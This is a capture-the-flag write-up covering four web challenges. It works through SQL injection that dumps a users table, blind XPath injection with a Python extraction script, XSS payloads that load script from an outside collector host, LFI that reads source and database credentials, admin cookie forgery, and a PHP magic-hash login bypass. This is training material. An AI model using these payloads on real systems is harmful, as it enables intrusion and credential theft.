ECW CTF - Web Writeups

Prequals online

Web 50 - Hall of Fame

This challenge was a basic SQL injection, let’s follow our methodology and extract the informations in the database. First we need to extract the columns number of the current “SELECT column1, column2 FROM …”

1'  union select 1,2,3,4,5,6#

We can clearly see the injection point is located in the 4th columns.

Let’s extract the version now

1'  union select 1,2,3,version(),5,6#
5.7.17-0ubuntu0.16.04.1	5

Extract database name

1'  union select 1,2,3,gRoUp_cOncaT(0x7c,schema_name,0x7c),5,6 fRoM information_schema.schemata#
3	|information_schema|,|ecw|	5

This is interesting, there is an ECW database. Let’s dig into it by extracting the table name.

1'  union select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C),5,6 fRoM information_schema.tables wHeRe table_schema="ecw"#
3	|users|	5

Extract columns name

1'  union select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C),5,6 fRoM information_schema.columns wHeRe table_name="users"#
3	|rank|,|username|,|score|,|password|,|comment|	5

That’s great now we can do a simple “SELECT” query to get the username and password of every users.

1'  union select 1,2,3,gRoUp_cOncaT(password),5,6 fRoM users#
ECW{69d7da73beaab34d6034211c0d848848},
ECW{e0d409de9fa2e61e6635e27fb73cc5e7},
ECW{2455afd815b54a0ce60b73074c3a652c},
ECW{cdf6c1b0ce7b41872a267d66e2b2dfa0},
ECW{8361993d2541062b311e61b0ade994ee},
ECW{420c7523b0a7ba0f8f40f8e98cad3c38},
ECW{77a66a027d20c8ecce920d3c3d8fb2c8},
ECW{03e8d7e2fc14e0a8b4b978f8367e6d3b},
ECW{b55ec992616468307c6cc4154dfd37a3},
ECW{d0c7cc155840d91c17fb3c885320ce1f},
ECW{c18018cb461d3b299bb5c437454abc80}

Unfortunately there are a lot of flags, we can try them all.. or be a little bit smarter. Since we can dump the content we can try to export the “comment” section

1'  union select 1,2,3,gRoUp_cOncaT(comment,password,0x7c),5,6 fRoM users#
I love french fries and create CTFECW{77a66a027d20c8ecce920d3c3d8fb2c8}|,

This one looked promising, and we can validate with it.

Web 100 - Pass Through

At first, I was looking for an SQL injection in order to bypass the login, the following payload worked:

Username:admin
Password:' or '1'='1
Authentification validée. Le mot de passe est le flag.

It says the “password is the flag”, damn we need to extract it with a blind injection. After a lot of tries I discovered it was an XPATH injection instead of an SQL. We will use the string-length to check the size of a string, here we know the size of the username, this will help verify our guess.

' or '1'='1' and string-length(username)=5 and '1'='1
' or '1'='1' and string-length(username)>4 and '1'='1
' or '1'='1' and string-length(password)>40 and '1'='1 NOK
' or '1'='1' and string-length(password)>10 and '1'='1 OK
' or '1'='1' and string-length(password)>20 and '1'='1 OK
' or '1'='1' and string-length(password)>30 and '1'='1 OK

Now we can script this in order to extract the size of the password, since we know it’s >20 and <40.

passwdlen = 0
for i in range(20,40):
payload = {
  'nonce':'26a7ef027c271845670d1abc96014f2cfa5df865721b70d43cb51a0d93264553d1411815be8f68132ef7927e3a8eeb21a8da3b88fc0f521513babd55b10c9d29',
  'username': 'admin',
  'password': "' or '1'='1' and string-length(password)=REPLACE and '1'='1".replace('REPLACE',str(i))
}
r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text
if not "invalide" in r:
passwdlen = i
print "Password length : "+str(i)

The output of this script will give the the length of the password : 37

Now we will extract the characters one by one with the “substring” method, e.g:substring(“ABCD”,2,1)=’B’

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, getopt
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

if __name__ == "__main__":
  requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  url = "https://challenge-ecw.fr/chals/web100"
  session = ".eJwVj0Frg0AQRv9KmbOHRC0EoZeiCVuYkbQTZfZmEqO7ugYixdWQ_157e_AeH3xPGO7DpYbkCW9nSACtbiksHKYqkkVFyM2GWCI8HL2UXzZnmZC_HTpywkWnbRMSX2Ys1X-zwZAM8b5d-R0XFVJ62mJ49JRmPk-zrbhTrK3EyDjrUqKcVaSZ2vxQ9GKVF247YTJ52jpZPh2x8sTZIm5v9LolNptk6Tu03Qe8Avgd68dQufUA_ExmHLsZAqiuzgyQ3Kp-rAPoq6FZ9e2xGnOFZBe__gBfKVAP.DLpGFw.xgJdaSDoDQNmN4w0D1OTDWYWiIs"

  passwdlen = 37
  password=""
  for i in range(passwdlen-5,passwdlen+20):
    for c in range(32,250):
      payload = {
        'nonce':'26a7ef027c271845670d1abc96014f2cfa5df865721b70d43cb51a0d93264553d1411815be8f68132ef7927e3a8eeb21a8da3b88fc0f521513babd55b10c9d29',
        'username': 'admin',
        'password': "' or substring(password,"+str(i)+",1)='"+chr(c)
      }
      r = requests.post(url, data=payload, cookies = {'session': session}, verify=False ).text
      print payload['password']

      if not "invalide" in r:
        password += chr(c)
        print password
        break

With this we get BCPP6f5f5724aa2fa973bb9471746c2cb4a0} which looks like a flag, we can easily correct the first chars : ECW{6f5f5724aa2fa973bb9471746c2cb4a0}

Web 150 - GoldFish

GoldFish was a Web Application written in PHP, where you can write a “post-it” which will self-destroy after 30sec. For this challenge I created a user named “glopglopglop” this will be needed for the exploitation ;)

First I tried to exploit an XSS, you could write a “Post” with the following input:

postname: reflected in the url
content : reflected in the page

The “Post” would be available at “/posts/user/postname” (this URL was found when you submit the same post twice in less than 30sec)

Here is a simple output that triggered the XSS (the payload is from XSSHunter), it was available at https://challenge-ecw.fr/chals/web150/posts/glopglopglop/mymemo

My super memo content!"></textarea></blockquote><script src=https://[REDACTED].xss.ht></script>
<script src=https://[REDACTED].xss.ht></script>

I waited hours and hours, nothing happened..

Then I try to fuzz a little bit the “name” field since we could “rewrite” the URL. I finally managed to find an LFI with the source code reflected in the dashboard inside the memo. Thanks to this we could extract all the source code of the WebApp

../../index.php
../../include/session.php
function checkCookie()
{
  $user = null;
  if(isset($_COOKIE['web150']))
  {
    $data = explode('_', $_COOKIE['web150']);
    if(count($data) == 2)
    {

      $id = $data[0];
      $cipher = $data[1];
      $userData = findUserById($id);
      if($userData != null)
      {
        if(strcmp(decryptString($cipher, $userData['login']), $userData['login']) == 0)
        $user = $userData;
      }
    }
  }

../../include/config.php
$db_name = 'web150';
$db_login = 'web150';
$db_pass = 'Hell0Challenger!';
function generateHash($pPass)
{
  $salt = 'uH39*z_f-D48w';
  return hash('sha256', $salt . hash('sha256', $pPass));
}

The cookie part was interesting, it is decrypting its content with “decryptString”. By looking deeper in the generation of the cookie I discovered it was based on the name of the user but the password wasn’t part of it.

function encryptString($pText){
  $key = generateKey($pText);
  $iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND);
  $iv_to_pass_to_decryption = base64_encode($iv);
  return base64_encode($iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, $pText, MCRYPT_MODE_CBC, $iv));
}

This encrypted string was used in the cookie as follow:

>>> import hackercodecs
>>> "123_i89j6%2FHxno%2Bj14Thft%2BjlzbpzP1Qvqq6znJHbFMAdJ7YTFLiq0I4gzzsHrtFgr1ND%2FsuFU8H8A%2FI86YU5X0qIQ%3D%3D".decode('url')
'123_i89j6/Hxno+j14Thft+jlzbpzP1Qvqq6znJHbFMAdJ7YTFLiq0I4gzzsHrtFgr1ND/suFU8H8A/I86YU5X0qIQ=='
#id_encryptedstring_in_base64_in_url_encoded

This means we can forge our cookie to be connected as admin since we only need a valid hash based on his name.

<?php function generateKey($pKey)
{
  if ($pKey == null || strlen($pKey) == 0)
  return null;

  $s = '';
  while (strlen($s)< 1000)
  $s .= $pKey;

  $e1 = 2;
  $e2 = 3;
  $r = '';
  for ($i = 0 ; $i < 12 ; $i++)
  {
    $e2 += $e1;
    $e1 = $e2 - $e1;
    $r .= $s[$e2];
  }

  return pack('H*', md5($r));
}

$user_id="1";
$key = generateKey("admin");
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND);
$iv_to_pass_to_decryption = base64_encode($iv);
$encrypt = base64_encode($iv . mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $key, "admin", MCRYPT_MODE_CBC, $iv));
echo $user_id . '_' . $encrypt;
?>

The “ID” of admin was ‘1’, after replacing our cookie with the forged one we get the following flag:

Well done! This is the super flag : ECW{527007e99d5068963281e660d5fb5a8d}

Web 175 - Magic Car

The topic of this challenge was the following text: “Notre nouveau système de réservation de covoiturage a été piraté. Le pirate a ajouté un nouveau formulaire d’authentification et a changé le mot de passe administrateur. Nous avons réussi à retrouver le code source de l’interface, mais nous ne pouvons pas récupérer le service sans les informations d’identification valides. Aide nous à les retrouver.”. We had to find a way to login without a valid username/password. The source code of the challenge was also provided.

<?php
require_once("flag.php");
$sec_pass = "0e413229387827631581229643338212";

if (isset($_POST['username']) && isset($_POST['password'])) {
  if (md5($_POST['password'] . $_POST['username']) == $sec_pass){
      return  $success;
      [...]
?>

So we need to have an MD5 hash equal to 0e413229387827631581229643338212. This is a basic type juggling in PHP, because 0e0123.. is a float representation in PHP we can do the following:

0e123 == 0e456
True

We want a magic hashed in PHP, it’s an hash where the content is only made of integers. WhiteHatSec already done the research for us : https://www.whitehatsec.com/blog/magic-hashes/

<?php
if (hash('md5','240610708',false) == '0') {
  print "Matched.n";
}

We can split the string “240610708” to create a valid authentification.

user:10708    
pass:2406

Then we get the flag ECW{846badef298374cc62934fdfdeee2341}

This challenge reminded me of one I created for the ESE 2016, check out the write-up ! ;)

Written on November 7, 2017